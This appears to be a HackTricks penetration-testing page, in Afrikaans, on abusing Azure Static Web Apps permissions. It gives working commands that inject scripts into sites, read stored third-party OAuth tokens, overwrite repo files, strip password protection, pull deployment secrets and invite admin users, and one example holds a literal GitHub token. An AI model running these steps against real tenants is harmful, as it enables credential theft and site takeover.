Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md

13 KiB
Raw Blame History

Az - Statiese Web Apps Post Exploitatie

{{#include ../../../banners/hacktricks-training.md}}

Azure Statiese Web Apps

Vir meer inligting oor hierdie diens, kyk:

{{#ref}} ../az-services/az-static-web-apps.md {{#endref}}

Microsoft.Web/staticSites/snippets/write

Dit is moontlik om 'n statiese webblad te laat laai arbitraire HTML-kode deur 'n snit te skep. Dit kan 'n aanvaller toelaat om JS-kode binne die webtoepassing in te voeg en sensitiewe inligting soos geloofsbriewe of mnemonic sleutels (in web3 beursies) te steel.

Die volgende opdrag skep 'n snit wat altyd deur die webtoepassing gelaai sal word::

az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

Lees Geconfigureerde Derdeparty Kredensiale

Soos verduidelik in die App Service afdeling:

{{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}}

Deur die volgende opdrag uit te voer, is dit moontlik om die derdeparty kredensiale wat in die huidige rekening geconfigureer is, te lees. Let daarop dat as daar byvoorbeeld sommige Github kredensiale in 'n ander gebruiker geconfigureer is, jy nie die token van 'n ander een sal kan bekom nie.

az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Hierdie opdrag gee tokens terug vir Github, Bitbucket, Dropbox en OneDrive.

Hier is 'n paar opdragvoorbeelde om die tokens te kontroleer:

# GitHub  List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket  List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox  List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive  List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Oorskrywe lêer - Oorskrywe roetes, HTML, JS...

Dit is moontlik om 'n lêer binne die Github repo wat die app bevat, deur Azure te oorskrywe deur die Github token 'n versoek te stuur soos die volgende wat die pad van die lêer om te oorskrywe, die inhoud van die lêer en die verbintenisboodskap sal aandui.

Dit kan deur aanvallers misbruik word om basies die inhoud van die web app te verander om kwaadwillige inhoud te dien (steel akrediteer, mnemonic sleutels...) of net om sekere pades na hul eie bedieners te herlei deur die staticwebapp.config.json lêer te oorskrywe.

Warning

Let daarop dat as 'n aanvaller daarin slaag om die Github repo op enige manier te kompromitteer, hulle ook die lêer direk vanaf Github kan oorskrywe.

curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

Met hierdie toestemming is dit moontlik om die wagwoord wat 'n statiese webtoepassing beskerm, te wysig of selfs elke omgewing te ontprotect deur 'n versoek te stuur soos die volgende:

# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

Hierdie toestemming laat toe om die API sleutel ontplooiingstoken vir die statiese app te verkry:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Dan, om 'n app met die token op te dateer, kan jy die volgende opdrag uitvoer. Let daarop dat hierdie opdrag verkry is deur te kyk hoe Github Action https://github.com/Azure/static-web-apps-deploy werk, aangesien dit die een is wat Azure standaard ingestel het om te gebruik. So die beeld en parameters kan in die toekoms verander.

Tip

Om die app te ontplooi, kan jy die swa hulpmiddel van https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token gebruik of die volgende stappe volg:

  1. Laai die repo https://github.com/staticwebdev/react-basic af (of enige ander repo wat jy wil ontplooi) en voer cd react-basic uit.
  2. Verander die kode wat jy wil ontplooi
  3. Ontplooi dit deur (Onthou om die <api-token> te verander):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

Warning

Selfs al het jy die token het, sal jy nie in staat wees om die app te ontplooi as die Deployment Authorization Policy op Github gestel is nie. Om die token te gebruik, sal jy die toestemming Microsoft.Web/staticSites/write nodig hê om die ontplooiingmetode te verander om die API-token te gebruik.

Microsoft.Web/staticSites/write

Met hierdie toestemming is dit moontlik om die bron van die statiese web app na 'n ander Github-repo te verander, egter, dit sal nie outomaties voorsien word nie, aangesien dit vanaf 'n Github Action gedoen moet word.

As die Deployment Authorization Policy op Github gestel is, is dit moontlik om die app vanaf die nuwe bronrepo op te dateer!.

In die geval dat die Deployment Authorization Policy nie op Github gestel is nie, kan jy dit met dieselfde toestemming Microsoft.Web/staticSites/write verander.

# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

Voorbeeld Github Aksie om die app te ontplooi:

name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

Met hierdie toestemming is dit moontlik om die API-sleutel van die statiese webtoepassing te reset, wat moontlik die werkvloei wat die toepassing outomaties ontplooi, kan DoS.

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

Hierdie toestemming laat toe om 'n uitnodiging aan 'n gebruiker te skep om toegang te verkry tot beskermde paaie binne 'n statiese webtoepassing met 'n spesifieke gegewe rol.

Die aanmelding is geleë in 'n pad soos /.auth/login/github vir github of /.auth/login/aad vir Entra ID en 'n gebruiker kan uitgenooi word met die volgende opdrag:

az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

Standaard sal Pull Requests van 'n tak in dieselfde repo outomaties saamgestel en gebou word in 'n staging-omgewing. Dit kan misbruik word deur 'n aanvaller met skryfrechten oor die repo, maar sonder om die takbeskermings van die produksietak (gewoonlik main) te kan omseil om 'n kwaadwillige weergawe van die app in die staging-URL te ontplooi.

Die staging-URL het hierdie formaat: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> soos: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

Tip

Let daarop dat eksterne PR's standaard nie werksvloei sal uitvoer nie, tensy hulle ten minste 1 PR in die repository gemeng het. 'n Aanvaller kan 'n geldige PR na die repo stuur en dan 'n kwaadwillige PR na die repo stuur om die kwaadwillige app in die staging-omgewing te ontplooi. HOWEVER, daar is 'n onverwagte beskerming, die standaard Github Action om in die statiese web app te ontplooi, benod toegang tot die geheim wat die ontplooiingstoken bevat (soos secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) selfs al word die ontplooiing met die IDToken gedoen. Dit beteken dat omdat 'n eksterne PR nie toegang tot hierdie geheim sal hê nie en 'n eksterne PR nie die Werksvloei kan verander om hier 'n arbitrêre token te plaas sonder dat 'n PR aanvaar word nie, sal hierdie aanval regtig nie werk nie.

{{#include ../../../banners/hacktricks-training.md}}